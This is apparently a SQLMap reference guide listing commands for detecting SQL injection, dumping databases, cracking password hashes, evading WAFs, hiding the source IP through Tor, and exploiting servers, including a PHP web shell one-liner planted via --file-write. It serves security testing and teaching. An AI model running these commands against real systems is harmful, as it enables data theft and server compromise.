Overview
SQLMap is a free, open-source penetration testing tool written in Python that automates detection and exploitation of SQL injection vulnerabilities. It handles detection, fingerprinting, enumeration, data extraction, and — given sufficient privileges — OS-level exploitation including file read/write and interactive shell access. Supports 30+ DBMSes including MySQL, PostgreSQL, MSSQL, Oracle, SQLite, and MariaDB. See SQL Injection for technique context on the underlying attack types.
Target / Context
Web applications with SQL injection vulnerabilities in GET/POST parameters, cookies, headers, or JSON/XML request bodies. Pairs with Burp Suite to capture and replay complex authenticated requests.
Installation
Installation Commands:
sudo apt install sqlmap
Manual install:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
python sqlmap.py
Basic Usage
Basic Usage:
sqlmap -u "http://target.com/page?id=1" --batch
Basic help
sqlmap -h
Full advanced help listing all options
sqlmap -hh
sqlmap --wizard
Flags & Options
Flags & Options:
| Flag | Description | Example |
|---|---|---|
-u / —url | Target URL | -u “http://target.com/page?id=1” |
-r | Read full HTTP request from file | -r req.txt |
—data | POST body data | —data ‘uid=1&name=test’ |
-p | Specific parameter to test | -p uid |
—cookie | Supply cookie header | —cookie=‘PHPSESSID=abc123’ |
-H / —header | Set custom header | -H ‘X-Forwarded-For: 127.0.0.1’ |
—random-agent | Random User-Agent string | —random-agent |
—mobile | Imitate smartphone browser | —mobile |
—method | Override HTTP method | —method=PUT |
—batch | Non-interactive mode; accept defaults | —batch |
—dbs | Enumerate all databases | —dbs |
-D | Target database | -D testdb |
—tables | List tables in database | —tables -D testdb |
-T | Target table | -T users |
-C | Target specific columns | -C name,surname |
—dump | Dump table records | —dump -T users -D testdb |
—dump-all | Dump all databases | —dump-all —exclude-sysdbs |
—dump-format | Output format (HTML or SQLite) | —dump-format=HTML |
—start / —stop | Row range to dump by ordinal | —start=2 —stop=3 |
—where | WHERE condition filter on dump | —where=“name LIKE ‘f%’“ |
—exclude-sysdbs | Skip system databases | —exclude-sysdbs |
—schema | Dump full DB schema | —schema |
—search | Search table/column names by keyword | —search -T user |
—banner | Get DBMS version banner | —banner |
—current-user | Get current DB user | —current-user |
—current-db | Get current database name | —current-db |
—is-dba | Check if current user has DBA privileges | —is-dba |
—passwords | Dump and crack DB user passwords | —passwords —batch |
—all | Full enumeration of everything accessible | —all —batch |
—level | Scan depth 1–5 (default 1) | —level=5 |
—risk | Risk level 1–3 (default 1); 3 enables OR payloads | —risk=3 |
—technique | Limit to specific injection types (BEUSTQ) | —technique=BEU |
—prefix | Static prefix to wrap injection vector | —prefix=”%’))“ |
—suffix | Static suffix to wrap injection vector | —suffix=”— -“ |
—union-cols | Force exact column count for UNION injection | —union-cols=3 |
—union-char | Override NULL fill value in UNION | —union-char=‘a’ |
—union-from | Append FROM clause to UNION query | —union-from=dual |
—no-cast | Disable CAST() wrapping on retrieved data | —no-cast |
—code | HTTP code that signals TRUE response | —code=200 |
—titles | Detect TRUE/FALSE via <title> tag comparison | —titles |
—string | String present in TRUE response only | —string=success |
—text-only | Strip HTML; compare visible text only | —text-only |
—parse-errors | Display DBMS errors inline during run | —parse-errors |
-t | Save full traffic to output file | -t traffic.txt |
-v | Verbosity level 0–6 (3 shows payloads) | -v 3 |
—proxy | Route all traffic through a proxy | —proxy=“http://127.0.0.1:8080” |
—proxy-file | Cycle through a list of proxies | —proxy-file=proxies.txt |
—tor | Use Tor SOCKS proxy (port 9050/9150) | —tor |
—check-tor | Verify Tor is reachable before running | —check-tor |
—csrf-token | Anti-CSRF token parameter name | —csrf-token=“csrf_token” |
—randomize | Randomize value of a parameter each request | —randomize=rp |
—eval | Evaluate Python expression before each request | —eval=“import hashlib; h=hashlib.md5(id).hexdigest()“ |
—tamper | Apply tamper script(s) | —tamper=between,randomcase |
—list-tampers | List all available tamper scripts | —list-tampers |
—skip-waf | Skip WAF identification (reduce noise) | —skip-waf |
—chunked | Split POST body into transfer-encoding chunks | —chunked |
—crawl | Crawl site to discover injection points | —crawl=2 |
—forms | Automatically parse and test forms | —forms |
-g | Use Google dork to find targets | -g “inurl:id=“ |
—file-read | Read a file from the server filesystem | —file-read “/etc/passwd” |
—file-write | Local file to write to the server | —file-write shell.php |
—file-dest | Destination path on the server | —file-dest “/var/www/html/shell.php” |
—os-shell | Attempt interactive OS shell via SQLi | —os-shell |
Common Use Cases
GET-based Testing
Supply a URL with a GET parameter. SQLMap tests injection points automatically and reports which type succeeded.
Commands:
sqlmap -u "http://target.com/page?id=1" --batch
sqlmap -u "http://target.com/page?id=1" --batch --dbs
sqlmap -u "http://target.com/page?id=1" -D testdb --tables
sqlmap -u "http://target.com/page?id=1" -D testdb -T users --dump
POST-based Testing
Use --data for inline POST bodies, or mark the injectable parameter with * to restrict testing to that field.
Commands:
sqlmap 'http://target.com/' --data 'uid=1&name=test' --batch
Asterisk targets uid only
sqlmap 'http://target.com/' --data 'uid=1*&name=test' --batch
Full HTTP Request File
Use -r for complex requests with many headers, session cookies, or long bodies. Capture from Burp (Save Item) or browser DevTools (Copy → Copy Request Headers). Mark the injectable parameter inside the file with *.
Commands:
sqlmap -r req.txt --batch
sqlmap -r req.txt --batch --dbs
sqlmap -r req.txt -D mydb -T users --dump
To pin the injection point inside the file:
GET /?id=1* HTTP/1.1
cURL-converted Request
In browser DevTools → Network tab, right-click a request → Copy as cURL. Replace curl with sqlmap and append flags.
Commands:
sqlmap 'http://target.com/?id=1' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0' -H 'Accept: image/webp,*/*' -H 'Connection: keep-alive' --batch
JSON / XML Body Testing
SQLMap automatically recognises JSON and XML-formatted POST bodies. No special flag needed — pass via -r or --data and mark the injectable field with * if auto-detection fails.
Commands:
sqlmap -r json_req.txt --batch
Basic DB Enumeration
Run these together after detection to profile the database before dumping data.
Commands:
sqlmap -u "http://target.com/?id=1" --banner --current-user --current-db --is-dba --batch
Table and Row Enumeration
Limit output by specifying columns or row ordinals — critical for large tables.
Commands:
sqlmap -u "http://target.com/?id=1" --tables -D testdb
sqlmap -u "http://target.com/?id=1" --dump -T users -D testdb
sqlmap -u "http://target.com/?id=1" --dump -T users -D testdb -C name,surname
sqlmap -u "http://target.com/?id=1" --dump -T users -D testdb --start=2 --stop=3
sqlmap -u "http://target.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"
Schema and Search
Retrieve the full database structure, or search for tables and columns by keyword across all databases.
Commands:
sqlmap -u "http://target.com/?id=1" --schema
All tables containing “user”
sqlmap -u "http://target.com/?id=1" --search -T user
All columns containing “pass”
sqlmap -u "http://target.com/?id=1" --search -C pass
Password Enumeration and Cracking
SQLMap automatically attempts dictionary-based cracking (31 hash algorithms, 1.4M entries) when it encounters password hashes during a dump. --passwords targets DB-level user credential tables. --all combined with --batch retrieves everything accessible without prompts — useful for coverage but output must be reviewed manually.
Commands:
sqlmap -u "http://target.com/?id=1" --dump -D master -T users --batch
sqlmap -u "http://target.com/?id=1" --passwords --batch
sqlmap -u "http://target.com/?id=1" --all --batch
Injection Type Detection Reference
SQLMap reports detected injection types using BEUSTQ notation in its output. See SQL Injection for full details on each type.
| Code | Type | Example Payload |
|---|---|---|
B | Boolean-based blind | AND 1=1 |
E | Error-based | AND GTID_SUBSET(@@version,0) |
U | UNION query-based | UNION ALL SELECT 1,@@version,3 |
S | Stacked queries | ; DROP TABLE users |
T | Time-based blind | AND 1=IF(2>1,SLEEP(5),0) |
Q | Inline queries | SELECT (SELECT @@version) from |
Attack Tuning
Level and Risk
Default run tests 72 payloads. Level 5 + Risk 3 expands to 7,865 — only use when the default run fails or the target requires OR-based payloads (e.g., login forms). Risk 3 enables OR payloads, which can cause data loss on writable SQL statements, so use carefully.
Commands:
sqlmap -u "http://target.com/?id=1" --level=5 --risk=3 --batch
-v 3 shows [PAYLOAD] lines
sqlmap -u "http://target.com/?id=1" --level=5 --risk=3 -v 3 --batch
Prefix and Suffix
Use when the vulnerable query wraps the parameter in characters that break standard boundary detection. The prefix/suffix enclose every vector payload.
Commands:
sqlmap -u "http://target.com/?q=test" --prefix="%'))" --suffix="-- -" --batch
Example: target query is WHERE id LIKE ((’ + input + ’)) — prefix closes the brackets, suffix comments the rest out.
Technique Selection
Force specific injection type(s) to skip slow or disruptive techniques.
Commands:
Skip time-based and stacked
sqlmap -u "http://target.com/?id=1" --technique=BEU --batch
Error-based only
sqlmap -u "http://target.com/?id=1" --technique=E --batch
UNION Tuning
Provide column count, fill character, or a required FROM appendix when SQLMap fails UNION detection automatically.
Commands:
sqlmap -u "http://target.com/?id=1" --union-cols=3 --batch
sqlmap -u "http://target.com/?id=1" --union-char='a' --batch
Required on Oracle
sqlmap -u "http://target.com/?id=1" --union-from=dual --batch
Response Differentiation
When TRUE/FALSE responses differ only subtly, pin detection to a specific signal rather than full response comparison.
Commands:
HTTP 200 = TRUE
sqlmap -u "http://target.com/?id=1" --code=200 --batch
sqlmap -u “http://target.com/?id=1” —titles —batch — compare <title> tags
String present in TRUE only
sqlmap -u "http://target.com/?id=1" --string="Welcome" --batch
Strip all HTML tags
sqlmap -u "http://target.com/?id=1" --text-only --batch
Bypassing Web Application Protections
Anti-CSRF Token Bypass
SQLMap re-fetches the target page before each request to parse a fresh token value. Specify the token parameter name via --csrf-token.
Commands:
sqlmap -r req.txt --csrf-token="csrf_token" --batch
Unique Value Bypass
Some apps require a unique parameter per request to detect and block automation. --randomize generates a new random value for that parameter on every request.
Commands:
sqlmap -u "http://target.com/?id=1&rp=29125" --randomize=rp --batch -v 5
Calculated Parameter Bypass
When one parameter must be a computed hash of another (e.g., h=MD5(id)), use --eval to run Python code before each request to set the correct value.
Commands:
sqlmap -u "http://target.com/?id=1&h=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch
IP Concealment
Route through a proxy or Tor to hide source IP or bypass IP blacklists. Proxy lists are cycled sequentially.
Commands:
sqlmap -u "http://target.com/?id=1" --proxy="socks4://<proxy-ip>:<port>" --batch
sqlmap -u "http://target.com/?id=1" --proxy-file=proxies.txt --batch
sqlmap -u "http://target.com/?id=1" --tor --check-tor --batch
User-Agent Blacklist Bypass
The default SQLMap User-Agent (sqlmap/1.4.9) is on most WAF block lists. Always use --random-agent if encountering immediate 5XX errors.
Commands:
sqlmap -u "http://target.com/?id=1" --random-agent --batch
WAF Detection and Bypass
SQLMap auto-identifies WAFs using the identYwaf library (80+ signatures). Use --skip-waf to suppress this step and reduce fingerprinting noise on the wire.
Commands:
sqlmap -u "http://target.com/?id=1" --skip-waf --batch
Tamper Scripts
Python scripts that transform payloads in-flight to evade WAF/IPS signatures. Chain multiple with commas; SQLMap applies them in predefined priority order.
Commands:
sqlmap -u "http://target.com/?id=1" --tamper=between,randomcase --batch
Full list with descriptions
sqlmap --list-tampers
Notable Tamper Scripts
| Tamper Script | Description |
|---|---|
0eunion | Replaces UNION with e0UNION |
base64encode | Base64-encodes the entire payload |
between | Replaces > with NOT BETWEEN 0 AND # and = with BETWEEN # AND # |
commalesslimit | Replaces LIMIT M, N with LIMIT N OFFSET M (MySQL) |
equaltolike | Replaces all = with LIKE |
halfversionedmorekeywords | Adds versioned comment before each keyword (MySQL) |
modsecurityversioned | Wraps full query in versioned comment (MySQL) |
modsecurityzeroversioned | Wraps full query in zero-versioned comment (MySQL) |
percentage | Adds % before each character — SELECT becomes %S%E%L%E%C%T |
plus2concat | Replaces + with CONCAT() (MSSQL) |
randomcase | Randomizes keyword casing — SELECT becomes SEleCt |
space2comment | Replaces spaces with /**/ |
space2dash | Replaces spaces with --<random>\n |
space2hash | Replaces spaces with #<random>\n (MySQL) |
space2mssqlblank | Replaces spaces with random blank chars (MSSQL) |
space2plus | Replaces spaces with + |
space2randomblank | Replaces spaces with random blank characters |
symboliclogical | Replaces AND/OR with &&/|| |
versionedkeywords | Wraps non-function keywords in versioned comments (MySQL) |
versionedmorekeywords | Wraps all keywords in versioned comments (MySQL) |
Chunked Transfer Encoding
Splits the POST request body into chunks so blacklisted SQL keywords straddle chunk boundaries and are not matched by pattern-based WAFs.
Commands:
sqlmap -u "http://target.com/?id=1" --data 'uid=1' --chunked --batch
HTTP Parameter Pollution (HPP)
Splits the payload across duplicate parameter names. Target platforms like ASP/IIS concatenate them server-side, reconstructing the full payload after inspection.
Example:
?id=1&id=UNION&id=SELECT&id=username,password&id=FROM&id=users
Error Handling and Debugging
Commands:
Show DBMS errors inline
sqlmap -u "http://target.com/?id=1" --parse-errors --batch
Save raw traffic to file
sqlmap -u "http://target.com/?id=1" -t traffic.txt --batch
Show payloads in output
sqlmap -u "http://target.com/?id=1" -v 3 --batch
Maximum verbosity
sqlmap -u "http://target.com/?id=1" -v 6 --batch
Route through Burp
sqlmap -u "http://target.com/?id=1" --proxy="http://127.0.0.1:8080" --batch
OS Exploitation
Requires DBA privileges or the FILE privilege (MySQL). File reads are more commonly available; file writes require secure-file-priv to be disabled and write permission on the target directory.
File Read
Reads a server-side file via the SQL injection vulnerability and saves it to the local SQLMap output directory.
Commands:
sqlmap -u "http://target.com/?id=1" --is-dba --batch
sqlmap -u "http://target.com/?id=1" --file-read "/etc/passwd" --batch
Output saved to: ~/.sqlmap/output/<host>/files/_etc_passwd
File Write / Web Shell Upload
Writes a local file to a path on the server. Most commonly used to plant a PHP web shell for code execution.
Commands:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
sqlmap -u "http://target.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php" --batch
curl http://target.com/shell.php?cmd=id
OS Shell
Attempts to establish an interactive OS shell using the best available method — web shell write, UDF (User-Defined Function), or xp_cmdshell on MSSQL. If UNION technique fails, fall back to error-based.
Commands:
sqlmap -u "http://target.com/?id=1" --os-shell --batch
Force error-based
sqlmap -u "http://target.com/?id=1" --os-shell --technique=E --batch